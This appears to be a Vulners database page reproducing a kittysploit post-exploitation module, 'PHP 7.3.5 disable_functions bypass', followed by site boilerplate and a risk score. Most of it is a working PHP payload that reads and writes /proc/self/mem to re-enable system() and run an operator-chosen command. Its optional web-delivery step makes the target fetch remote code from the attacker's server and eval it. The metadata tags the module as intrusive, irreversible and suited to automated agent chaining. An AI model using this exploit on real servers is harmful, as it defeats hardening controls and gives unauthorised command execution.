PHP 7.3.5 disable_functions bypass
from kittysploit import *
from lib.protocols.http.http_server import Http_server as HTTPServer
class Module(Post, HTTPServer):
__info__ = {
"name": "PHP 7.3.5 disable_functions bypass",
"description": "PHP 7.3.5 json disable_functions bypass",
"arch": Arch.PHP,
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': ['rce', 'shell', 'file_read'],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
command = OptString("uname -a", "command system to send", True)
start_web_delivery = OptBool(False, "start web delivery", True)
def check(self):
"""Check if target is vulnerable"""
return True
def run(self):
data = rf"""
selfpatch();
system("COMMAND_PLACEHOLDER");
function selfpatch(){{
$maps = read_proc_maps();
$cg = read_compiler_globals($maps);
$funs = read_function_table($cg);
$fn_passthru = $funs["passthru"] or die("no passthru?");
$fn_exec = $funs["exec"] or die("no exec?");
$fn_system = $funs["system"] or die("no system?");
/*
the functions above are defined right after each other, their zif_handler is allocated on the heap
subsequently. The difference of their addresses on 64 bit architectures is:
--enable-debug builds: 43 bytes
normal builds: 16 bytes
Anyway, lets calculate the correct number properly by comparing htmlspecialchars and htmlspecialchars_decode:
*/
$fn_htmlspecialchars = $funs["htmlspecialchars"] or die("no htmlspecialchars?");
$fn_htmlspecialchars_decode = $funs["htmlspecialchars_decode"] or die("no htmlspecialchars_decode?");
$zif_diff = $fn_htmlspecialchars_decode["zif_handler_addr"]-$fn_htmlspecialchars["zif_handler_addr"];
debug("zip_diff is: ".$zif_diff);
$real_zif_system_addr = $fn_exec["zif_handler_addr"] + $zif_diff;
$real_zif_system_addr_bin = pack("Q", $real_zif_system_addr);
$fd = fopen("/proc/self/mem", "r+b") or die("couldnt open memory for reading and writing");
if(fseek($fd, $fn_system["internal_func_addr"]+32)) die("Cannot access zend_internal_function of system");
// we are at num_args.
if(4 != fwrite($fd, $fn_passthru["num_args_bin"])) die("patching num args failed");
fread($fd, 4); // skipping required_num_args
if(8 != fwrite($fd, $fn_passthru["arg_info_addr_bin"])) die("patching arg info failed");
if(8 != fwrite($fd, $real_zif_system_addr_bin)) die("patching zif_handler failed");
fclose($fd);
}}
function read_zend_string($fd, $addr) {{
if(fseek($fd, $addr+16)) die("Cannot access function name at $i");
$b = fread($fd, 8);
$lena = unpack("Q", $b);
return fread($fd, $lena[1]);
}}
function read_function_from_bucket($fd, $i) {{
$re = Array();
if(fseek($fd, $i)) die("Cannot access bucket at $i");
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["internal_func_addr"] = $na[1];
$re["internal_func_addr_hex"] = dechex($na[1]);
if(fseek($fd, $re["internal_func_addr"]+4)) die("Cannot access function name at $i");
$b = fread($fd, 4);
$na = unpack("L", $b);
$re["fn_flags"] = $na[1];
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["function_name_addr"] = $na[1];
$re["function_name_addr_hex"] = dechex($na[1]);
fread($fd, 16); // skipping zend_class_entry and zend_function ptrs
$b = fread($fd, 4);
$na = unpack("L", $b);
$re["num_args_bin"] = $b;
$re["num_args"] = $na[1];
fread($fd, 4); // skipping required_num_args
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["arg_info_addr_bin"] = $b;
$re["arg_info_addr"] = $na[1];
$re["arg_info_addr_hex"] = dechex($na[1]);
$b = fread($fd, 8);
$na = unpack("Q", $b);
$re["zif_handler_addr"] = $na[1];
$re["zif_handler_addr_hex"] = dechex($na[1]);
$re["func_name"] = read_zend_string($fd, $re["function_name_addr"]);
debug(print_r($re, true));
// sleep(1); exit;
return $re;
}}
function read_function_table($cg) {{
$re = Array();
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");
/*
(gdb) p (void*) &(compiler_globals->function_table->nNumUsed) - (void*) &(compiler_globals->function_table->gc)
$6 = 24
*/
$ardata_pos = $cg["function_table_address"]+16;
if(fseek($fd, $ardata_pos)) die("Cannot access the function HashTable");
$b = fread($fd, 8);
$nnum = unpack("Q", $b);
$arDataBase = $nnum[1];
$b = fread($fd, 8);
$nnum = unpack("L*", $b);
$nNumUsed = $nnum[1];
$nNumOfElements = $nnum[2];
debug("Number of functions: $nNumUsed/$nNumOfElements");
$addr = $arDataBase;
for($i = 0; $i < $nNumUsed; $i++) {{
$fun = read_function_from_bucket($fd, $addr);
$re[$fun["func_name"]] = $fun;
/*
(gdb) p (void*)&(compiler_globals->function_table->arData[1]) - (void*)&(compiler_globals->function_table->arData[0])
$10 = 32
*/
$addr += 32;
}}
fclose($fd);
return $re;
}}
function find_compiler_globals_at($fd, $i) {{
if(fseek($fd, $i)) die("couldnt access memory at: $i\n");
$b = fread($fd, 16);
$up = unpack("L*", $b);
// print_r($up); //exit;
if(($up[1] == 12) && ($up[2] == 0) && ($up[3] == 16) && ($up[4] == 0)) {{
debug(sprintf("Compiler global struct found at: %d (%s)", $i, dechex($i)));
return $i;
}}
return 0;
}}
// Function based on some dummy heuristics. Could be improved to be more robust/reliable.
function read_compiler_globals($maps){{
$fd = fopen("/proc/self/mem", "rb") or die("couldnt open memory for reading");
$addr = 0;
foreach($maps as $map) {{
debug("reading memory: ".print_r($map, true));
$i = $map["mem_region_begin"];
while($i + 16 <= $map["mem_region_end"]) {{
if($addr = find_compiler_globals_at($fd, $i)) {{
break;
}}
$i+= 8;
}}
if($addr) break;
}}
if(!$addr) die("Couldnt find compiler globals");
/*
(gdb) p &(compiler_globals->function_table)
$4 = (HashTable **) 0x7fedf14d4d78 <compiler_globals+56>
*/
if(fseek($fd, $addr+56)) die("couldnt access memory at: $i\n");
$b = fread($fd, 8);
$ft = unpack("Q", $b)[1];
$re = Array(
"compiler_global_address" => $addr,
"compiler_global_address_hex" => dechex($addr),
"function_table_address" => $ft,
"function_table_address_hex" => dechex($ft),
);
fclose($fd);
debug(print_r($re, true));
return $re;
}}
function read_proc_maps(){{
$maps_str = file_get_contents("/proc/self/maps") or die("Cant read proc maps");
debug($maps_str);
$re = Array();
#
preg_match_all('/([0-9a-f]+)-([0-9a-f]+) ([rwxp-]+) [0-9a-f]+ \d+:\d+ \d+(.*)/', $maps_str, $matches);
# print_r($matches);
$php_seen = 0;
for($i = 0; $i < count($matches[0]); $i++) {{
$a = Array(
"executable" => trim($matches[4][$i]),
"perms" => $matches[3][$i],
"mem_region_begin_hex"=> $matches[1][$i],
"mem_region_end_hex"=> $matches[2][$i],
"mem_region_begin"=> hexdec($matches[1][$i]),
"mem_region_end"=> hexdec($matches[2][$i]),
);
// echo "$executable: $perms\n";
if((endsWith($a["executable"], "/php"))&&($a["perms"] == "r-xp")) {{
$php_seen = 1;
}}
if($a["executable"] == "[heap]") {{
array_push($re, $a);
}}
elseif($a["perms"] == "rw-p") {{
if((endsWith($a["executable"], "/php")||(($a["executable"] == "") && $php_seen)))
array_push($re, $a);
}}
}}
if(!count($re)) die("Couldnt find any interesting memory regions");
debug(print_r($re, true));
return $re;
}}
function endsWith($haystack, $needle) {{
return substr_compare($haystack, $needle, -strlen($needle)) === 0;
}}
function debug($m) {{
return;
echo "$m\n";
}}
"""
# Replace command placeholder with actual command
command_escaped = self.command.replace('"', '\\"')
data = data.replace("COMMAND_PLACEHOLDER", command_escaped)
if self.start_web_delivery:
host, port, httpd = self.web_delivery(data)
print_info(self.cmd_execute(f"$a=file_get_contents('http://{host}:{port}');eval($a);"))
self.web_shutdown(httpd)
else:
print_info(self.cmd_execute(data))
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8